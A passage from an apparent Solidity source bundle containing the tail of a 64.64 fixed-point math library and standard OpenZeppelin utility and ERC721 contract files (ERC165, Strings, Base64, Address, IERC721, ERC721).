>> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * 